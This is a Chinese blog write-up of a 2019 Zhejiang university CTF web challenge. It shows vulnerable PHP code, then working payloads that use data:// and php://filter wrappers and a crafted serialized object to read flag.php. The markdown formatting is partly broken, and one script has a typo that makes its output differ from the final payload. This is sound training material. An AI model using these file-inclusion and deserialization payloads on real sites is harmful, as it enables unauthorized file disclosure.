发布于 

2019-Web-逆转思维-WP

这是浙江省大学生网络与信息安全竞赛-决赛-2019-Web-逆转思维的题解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
  • 首先先过第一个if 就是text得 是 welcome to the zjctf 直接data伪协议 也可以直接用php://input绕过

    1
    ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
  • 然后过第二个if

    • 提示有useless.php 直接 php://filter读取一下

    • &file=php://filter/read=convert.base64-encode/resource=useless.php
      
      1
      2
      3
      4
      5

      - 得到`base64`

      - ```
      PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=
    • <?php  
      
      class Flag{  //flag.php  
          public $file;  
          public function __tostring(){  
              if(isset($this->file)){  
                  echo file_get_contents($this->file); 
                  echo "<br>";
              return ("U R SO CLOSE !///COME ON PLZ");
              }  
          }  
      }  
      ?>  
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20

      - 构造序列化

      - ```php
      <?php

      class Flag{ //flag.php
      public $file;
      public function __tostring(){
      if(isset($this->file)){
      echo file_get_contents($this->file);
      echo "<br>";
      return ("U R SO CLOSE !///COME ON PLZ");
      }
      }
      }
      $a = new Flag();
      $a -> flile = 'flag.php';
      echo(serialize($a));
      ?>
    • O:4:"Flag":2:{s:4:"file";N;s:5:"flile";s:8:"flag.php";} 
      
      
      1
      2
      3

      - ```php
      /?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
    • RwNWgz.png


本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。

本站由 @YuRuiH 创建,使用 Stellar 作为主题。